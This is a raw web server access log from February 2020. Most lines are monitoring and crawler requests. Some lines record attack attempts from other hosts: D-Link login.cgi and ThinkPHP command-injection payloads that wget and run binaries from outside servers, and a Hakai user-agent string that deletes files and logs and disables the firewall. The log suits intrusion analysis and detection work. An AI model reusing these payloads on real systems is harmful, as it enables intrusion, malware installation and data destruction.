188.209.242.44 - - [22/Feb/2020:11:58:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [22/Feb/2020:11:58:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.142.44.148 - - [22/Feb/2020:11:58:43 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:11:59:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
87.10.173.80 - - [22/Feb/2020:12:00:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
221.124.125.52 - - [22/Feb/2020:12:00:23 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:12:00:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:12:01:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:12:02:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:12:03:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.209.242.44 - - [22/Feb/2020:12:03:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [22/Feb/2020:12:04:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:12:05:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
150.107.103.240 - - [22/Feb/2020:12:06:17 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:12:06:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:12:07:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:12:08:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:12:09:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:12:10:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:12:11:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:12:12:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:12:13:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:12:14:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:12:15:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:12:16:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:12:17:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:12:18:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.172.202.100 - - [22/Feb/2020:12:19:14 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
213.25.135.254 - - [22/Feb/2020:12:19:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:12:19:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:12:20:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:12:21:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.50.215.71 - - [22/Feb/2020:12:21:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://142.93.194.103/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [22/Feb/2020:12:22:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
200.113.185.228 - - [22/Feb/2020:12:23:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:12:23:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:12:24:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:12:25:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.105.236.213 - - [22/Feb/2020:12:26:35 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:12:26:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:12:27:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [22/Feb/2020:12:28:08 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
173.76.38.236 - - [22/Feb/2020:12:28:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [22/Feb/2020:12:28:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:12:29:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.118.154.21 - - [22/Feb/2020:12:30:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:12:30:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:12:31:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:12:32:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:12:33:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.19.184.152 - - [22/Feb/2020:12:34:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [22/Feb/2020:12:34:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:12:35:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:12:36:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:12:37:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.216.96.245 - - [22/Feb/2020:12:37:44 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; SEOkicks; +https://www.seokicks.de/robot.html)"
95.216.96.245 - - [22/Feb/2020:12:37:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; SEOkicks; +https://www.seokicks.de/robot.html)"
212.91.246.72 - - [22/Feb/2020:12:38:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:12:39:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:12:40:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:12:41:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:12:42:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.95.104.50 - - [22/Feb/2020:12:42:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [22/Feb/2020:12:43:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:12:44:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:12:45:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.112.192.120 - - [22/Feb/2020:12:46:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [22/Feb/2020:12:46:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:12:47:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:12:48:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.100.103.173 - - [22/Feb/2020:12:49:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:12:49:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:12:50:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
182.116.51.107 - - [22/Feb/2020:12:50:43 +0100] "POST /GponForm/diag_Form?images/ HTTP/1.1" 404 319 "-" "Hello, World"
212.91.246.72 - - [22/Feb/2020:12:51:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
138.121.128.46 - - [22/Feb/2020:12:51:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:12:52:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:12:53:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:12:54:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.118.161.25 - - [22/Feb/2020:12:55:09 +0100] "GET / HTTP/1.0" 200 1229 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com"
129.146.101.83 - - [22/Feb/2020:12:55:39 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [22/Feb/2020:12:55:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:12:56:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:12:57:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:12:58:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:12:59:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.105.170.120 - - [22/Feb/2020:13:00:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [22/Feb/2020:13:00:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:13:01:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.231.210.118 - - [22/Feb/2020:13:01:56 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:13:02:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.25.45.189 - - [22/Feb/2020:13:03:28 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:13:03:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.112.64.183 - - [22/Feb/2020:13:03:46 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
193.112.64.183 - - [22/Feb/2020:13:03:48 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
193.112.64.183 - - [22/Feb/2020:13:03:50 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
193.112.64.183 - - [22/Feb/2020:13:03:54 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
193.112.64.183 - - [22/Feb/2020:13:03:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
170.150.230.161 - - [22/Feb/2020:13:04:16 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:13:04:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [22/Feb/2020:13:05:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [22/Feb/2020:13:05:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [22/Feb/2020:13:06:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [22/Feb/2020:13:06:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:13:07:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:13:08:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:13:09:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:13:10:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:13:11:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:13:12:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:13:13:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:13:14:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:13:15:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
64.227.55.76 - - [22/Feb/2020:13:16:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [22/Feb/2020:13:16:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:13:17:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:13:18:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:13:19:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:13:20:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:13:21:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
217.29.223.153 - - [22/Feb/2020:13:22:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
188.209.242.44 - - [22/Feb/2020:13:22:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [22/Feb/2020:13:22:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:13:23:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:13:24:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
213.206.62.143 - - [22/Feb/2020:13:25:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [22/Feb/2020:13:25:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:13:26:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
223.197.136.59 - - [22/Feb/2020:13:27:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [22/Feb/2020:13:27:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:13:28:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
154.70.125.249 - - [22/Feb/2020:13:29:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:13:29:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:13:30:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:13:31:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.68.246.198 - - [22/Feb/2020:13:32:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
209.90.225.218 - - [22/Feb/2020:13:32:16 +0100] "GET /server/php/ HTTP/1.1" 404 322 "http://www.mike-pedross.de/server/php/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:13:32:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:13:33:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:13:34:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:13:35:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:13:36:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:13:37:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:13:38:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.209.242.44 - - [22/Feb/2020:13:38:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
